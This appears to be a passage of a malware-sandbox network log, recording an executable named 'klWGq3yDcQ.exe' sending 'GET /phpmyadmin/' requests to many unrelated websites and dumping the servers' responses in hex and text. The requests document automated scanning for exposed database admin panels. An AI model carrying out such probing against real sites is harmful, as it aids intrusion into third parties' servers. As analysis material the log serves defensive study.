2023-11-26 05:59:30 UTC	14994	IN	Data Raw: 68 6d 69 63 68 61 65 6c 2e 70 6e 67 22 3e 3c 21 2d 2d 20 57 6f 72 64 50 72 65 73 73 20 53 74 75 66 66 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 59 6f 75 20 63 61 6e 20 61 64 64 20 6d 6f 72 65 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 73 20 74 6f 20 77 65 62 66 6f 6e 74 6c 6f 61 64 65 72 20 62 79 20 70 72 65 76 69 6f 75 73 6c 79 20 64 65 66 69 6e 69 6e 67 20 74 68 65 20 57 65 62 46 6f 6e 74 43 6f 6e 66 69 67 20 77 69 74 68 20 79 6f 75 72 20 6f 70 74 69 6f 6e 73 20 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 74 Data Ascii: hmichael.png">... WordPress Stuff --> <script> /* You can add more configuration options to webfontloader by previously defining the WebFontConfig with your options */ if ( t
2023-11-26 05:59:30 UTC	16384	IN	Data Raw: 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 74 6f 6f 6c 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 2e 33 27 20 69 64 3d 27 74 70 2d 74 6f 6f 6c 73 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 68 6d 69 63 68 61 65 6c 61 6e 64 63 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 Data Ascii: p-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js?ver=5.4.8.3' id='tp-tools-js'></script><script type='text/javascript' src='https://hmichaelandco.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.mi
2023-11-26 05:59:30 UTC	15246	IN	Data Raw: 35 20 2e 70 6f 72 74 66 6f 6c 69 6f 2d 64 65 74 61 69 6c 2d 74 69 74 6c 65 2c 20 2e 70 6f 73 74 69 64 2d 34 37 37 30 20 2e 70 6f 72 74 66 6f 6c 69 6f 2d 64 65 74 61 69 6c 2d 74 69 74 6c 65 7b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 20 68 36 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 20 7d 20 2e 66 6f 6e 74 2d 73 70 65 63 69 61 6c 7b 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 3b 20 7d 20 2e 77 70 62 5f 61 63 63 6f 72 64 69 6f 6e 20 2e 77 70 62 5f 61 63 63 6f 72 64 69 6f 6e 5f 77 72 61 70 70 65 72 20 2e 77 70 62 5f 61 63 63 6f 72 64 69 6f 6e 5f 68 65 61 64 65 Data Ascii: 5 .portfolio-detail-title, .postid-4770 .portfolio-detail-title{ display: none; } h6{ font-weight: 700; letter-spacing: 1px; text-transform: uppercase; } .font-special{ text-transform:uppercase; } .wpb_accordion .wpb_accordion_wrapper .wpb_accordion_heade
2023-11-26 05:59:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50497	44.219.53.183	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: killicit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	330	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 6d 61 78 2d 61 67 65 3d 30 2c 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 45 74 61 67 3a 20 31 35 37 39 39 36 39 39 33 32 2d 73 73 6c 0d 0a 53 65 72 76 65 72 3a 20 4e 65 74 6c 69 66 79 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 Data Ascii: HTTP/1.1 404 Not FoundAge: 0Cache-Control: public,max-age=0,must-revalidateContent-Length: 1548Content-Type: text/html; charset=utf-8Date: Sun, 26 Nov 2023 05:59:29 GMTEtag: 1579969932-sslServer: NetlifyStrict-Transport-Security: max-age=3
2023-11-26 05:59:29 UTC	856	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 7c 4b 69 6c 6c 69 63 69 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 3c 68 31 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 4d 73 67 22 3e 45 72 72 6f 72 20 2d 20 34 30 34 3c 2f 68 31 3e 0a 09 09 3c 70 3e 41 6e 20 65 72 72 6f 72 20 68 61 73 20 6f 63 63 75 72 72 65 64 2c 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3a 3c 2f 62 72 3e 0a 09 09 2a 20 52 65 74 75 72 6e 20 74 6f 20 6d 79 20 68 6f 6d 65 70 61 67 65 2e 3c 2f 70 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>404 Error\|Killicit</title></head><body><main class="container"><h1 class="errorMsg">Error - 404</h1><p>An error has occurred, to continue:</br>* Return to my homepage.</p
2023-11-26 05:59:29 UTC	692	IN	Data Raw: 27 56 54 33 32 33 27 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 7d 0a 09 68 34 20 7b 0a 09 09 66 6f 6e 74 3a 20 6c 69 67 68 74 65 72 20 31 2e 31 32 35 72 65 6d 2f 31 2e 32 32 32 32 32 32 32 65 6d 20 27 56 54 33 32 33 27 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 7d 0a 0a 09 62 6f 64 79 20 7b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 34 31 34 61 37 3b 0a 09 7d 0a 0a 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 20 39 30 25 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0a 09 09 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 3a 20 31 32 76 68 3b 0a 09 7d 0a 0a 09 2e 65 72 72 6f 72 4d 73 67 20 7b 0a 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 63 6f 6c 6f 72 3a 20 23 Data Ascii: 'VT323', monospace;}h4 {font: lighter 1.125rem/1.2222222em 'VT323', monospace;}body {background: #0414a7;}.container {width: 90%;margin: auto;max-width: 640px;padding: 12vh;}.errorMsg {text-align: center;color: #

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50961	34.208.26.152	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: micro-design.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	192	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 94Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	94	IN	Data Raw: 46 6f 72 20 73 65 63 75 72 69 74 79 20 72 65 61 73 6f 6e 73 2c 20 74 68 69 73 20 55 52 4c 20 69 73 20 6f 6e 6c 79 20 61 63 63 65 73 73 69 62 6c 65 20 75 73 69 6e 67 20 6c 6f 63 61 6c 68 6f 73 74 20 28 31 32 37 2e 30 2e 30 2e 31 29 20 61 73 20 74 68 65 20 68 6f 73 74 6e 61 6d 65 2e Data Ascii: For security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50953	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	206	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:29 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/phpmyadmin/
2023-11-26 05:59:29 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	51631	104.200.30.31	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: edgewater.group Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 39 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	196	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	51058	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:30 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2c
2023-11-26 05:59:30 UTC	7772	IN	Data Raw: 32 62 34 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 Data Ascii: 2b47<!doctype html><html lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile"
2023-11-26 05:59:30 UTC	3313	IN	Data Raw: 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 61 62 6f 75 74 75 73 2f 22 3e 41 62 6f 75 74 20 48 4d 53 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 Data Ascii: -post_type menu-item-object-page menu-item-has-children menu-item-3412"><a href="https://himontessori.com/aboutus/">About HMS</a><ul class="sub-menu"><li id="menu-item-3415" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3415
2023-11-26 05:59:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:30 UTC	8192	IN	Data Raw: 33 62 31 30 0d 0a 09 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 3c 2f 6e 61 76 3e 3c 21 2d 2d 20 23 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 20 62 61 62 79 2d 68 65 61 64 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 68 65 61 64 65 72 2d 69 6d 67 22 3e 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 62 79 2d 63 6f 6e 74 61 69 6e 65 72 20 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: 3b10</nav>... #site-navigation --></div></div></div><header id="masthead" class="site-header baby-head-img"> <div class="no-header-img"> <div class="baby-container site-branding ">
2023-11-26 05:59:30 UTC	6934	IN	Data Raw: 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 34 2f 27 3e 20 41 70 72 69 6c 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 33 2f 27 3e 20 4d 61 72 63 68 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 32 2f 27 3e 20 46 65 62 72 75 61 72 79 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 Data Ascii: 021 </option><option value='https://himontessori.com/2021/04/'> April 2021 </option><option value='https://himontessori.com/2021/03/'> March 2021 </option><option value='https://himontessori.com/2021/02/'> February 2021 </option><option value='htt
2023-11-26 05:59:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:30 UTC	4275	IN	Data Raw: 31 30 61 36 0d 0a 0a 09 09 3c 2f 73 65 6c 65 63 74 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 64 72 6f 70 64 6f 77 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 22 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 2d 2d 31 22 20 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 6f 6e 53 65 6c 65 63 74 43 68 61 6e 67 65 28 29 20 7b 0a 09 09 69 66 20 28 20 64 72 6f 70 64 6f 77 6e 2e 6f 70 74 69 6f 6e 73 5b 20 64 72 6f 70 64 6f 77 6e 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 20 5d 2e 76 61 6c 75 65 20 21 3d 3d 20 27 27 20 29 20 7b 0a 09 09 09 64 6f 63 75 6d 65 6e Data Ascii: 10a6</select><script type='text/javascript'>/* <![CDATA[ */(function() {var dropdown = document.getElementById( "archives-dropdown--1" );function onSelectChange() {if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50999	191.6.210.8	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: esistem.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:29 UTC	164	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:29 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:29 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50951	162.241.62.220	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:29 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
